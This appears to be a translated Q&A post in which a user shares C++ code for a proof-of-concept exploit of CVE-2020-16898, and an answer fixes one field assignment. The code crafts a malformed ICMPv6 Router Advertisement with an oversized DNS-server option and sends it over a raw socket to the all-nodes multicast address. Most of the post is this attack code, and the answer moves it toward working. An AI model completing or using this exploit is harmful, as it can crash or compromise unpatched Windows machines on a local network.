Сокеты - sendto() усекает параметры ICMPv6
Из любопытства я пытался написать простой экспериментальный эксплойт для CVE-2020-16898. Я использовал RFC (RFC 4861 и RFC 6106), чтобы получить правильный формат, и мне удалось отправить созданный пакет рекламы маршрутизатора ICMPv6, используя приведенный ниже код. Однако просмотр пакета в Wireshark показал, что параметр 25 (полезная нагрузка) отсутствовал в фактически отправленном пакете.
Я подозреваю, что это как-то связано с длиной пакета - я попытался преобразовать его в Big Endian (используя как htons(), так и вручную вставив шестнадцатеричное число), но в этих случаях sendto() не работает с сообщением "Слишком длинное сообщение" ошибка. Полезная нагрузка должна иметь длину 56 байтов, что должно быть значительно ниже установленных ограничений.
Я включаю свой код ниже. Буду признателен за любую помощь.
#include <iostream>
#include <cstdlib>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <arpa/inet.h>
struct ipHeader{
uint8_t priority:4, version:4;
uint8_t flow[3];
uint16_t length;
uint8_t nextHeader;
uint8_t hopLimit;
// 128-bit IPv6 addresses
uint16_t srcAddress[8];
uint16_t dstAddress[8];
};
struct payload{
uint8_t type;
uint8_t code;
uint16_t checksum;
uint32_t curHopLimit:8, M:1,O:1, reserved:6, lifetime:16;
uint16_t routerLifetime;
uint32_t reachableTime;
uint32_t retrans;
// Options, probably should be its own struct
uint8_t optionType;
uint8_t optionLength;
uint16_t optionReserved;
uint32_t optionLifetime;
uint32_t dnsAddress[4]; // 128-bit IPv6 address
uint64_t randomGarbage; // This is where magic happens
};
int main()
{
uint8_t *packet;
packet = (uint8_t *) malloc(sizeof(ipHeader) + sizeof(payload));
ipHeader *ip;
payload *icmp;
// Place IP header + payload directly to the packet buffer
ip = (ipHeader *) packet;
// Offset of payload in packet buffer
icmp = (payload *)(packet+sizeof(ipHeader));
// IPv6 packet header (arcane magic stuff)
ip->version = 0b0110;
ip->priority = 0;
(ip->flow)[0] = 0;
(ip->flow)[1] = 0;
(ip->flow)[2] = 0;
ip->length = htons(sizeof(payload)); // Should be 0x3800 (Big Endian)
ip->nextHeader = 58;
ip->hopLimit = UINT8_MAX; //Most hops possible to prevent the packet from being dropped
std::cout << std::hex << ip->length << std::dec << std::endl;
// ICMPv6 router advertisement packet (more arcane magic stuff)
icmp->type = 134; // Router advertisement
icmp->code = 0;
icmp->checksum = 0; // will set/calculate later
icmp->curHopLimit = 64;
icmp->M = 0;
icmp->O = 0;
icmp->reserved = 0;
icmp->lifetime = 0;
icmp->reachableTime = 0;
icmp->retrans = 0;
icmp->optionType = 25;
icmp->optionLength = htonl(3);
icmp->optionLifetime = UINT32_MAX;
icmp->randomGarbage = UINT64_MAX; // not very random, but w/ever
icmp->checksum = 0x2e55;
sockaddr_in6 remote{};
remote.sin6_family = AF_INET6;
remote.sin6_port = 0;
remote.sin6_flowinfo = 0;
remote.sin6_scope_id = 0;
//Set addresses
inet_pton(AF_INET6, "fe80::eab1:fcff:fedb:74", &(ip->srcAddress));
inet_pton(AF_INET6, "ff02::1", &remote.sin6_addr);
inet_pton(AF_INET6, "ff02::1", &(ip->dstAddress));
inet_pton(AF_INET6, "2001:4860:4860::8844", &(icmp->dnsAddress)); // Google DNS, just to use a valid setting
int sock, optVal;
sock = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW);
if(sock == -1){
perror("Failed to open socket");
exit(-1);
}
int status;
status = setsockopt(sock, IPPROTO_IPV6, IPV6_HDRINCL, &optVal, sizeof(int));
if(status != 0){
std::cout << "Socket options returned status " << status << std::endl;
perror("Failed to set socket options");
exit(-2);
}
std::cout << "Sockets ready, sending payload..." << std::endl;
std::cout << "Payload size: " << sizeof(payload) << std::endl;
status = sendto(sock, packet, ip->length, 0, (sockaddr *) &remote, sizeof(remote));
if(status != ip->length){
std::cout << "sendto() returned status" << status << "(Errno: " << errno << ")" << std::endl;
perror("Failed to send packet");
exit(-3);
}
return 0;
}
1 ответ
У вас есть:
uint8_t optionLength;
и:
icmp->optionLength = htonl(3);
В этом нет смысла.
В
optionLength
поле всего один байт. Нет способа, которым одно байтовое поле может быть прямым или прямым порядком байтов. Это всего лишь один байт.
Так как это недолго, присваивая результат
htonl
к этому полю - ошибка. Просто используйте
= 3
.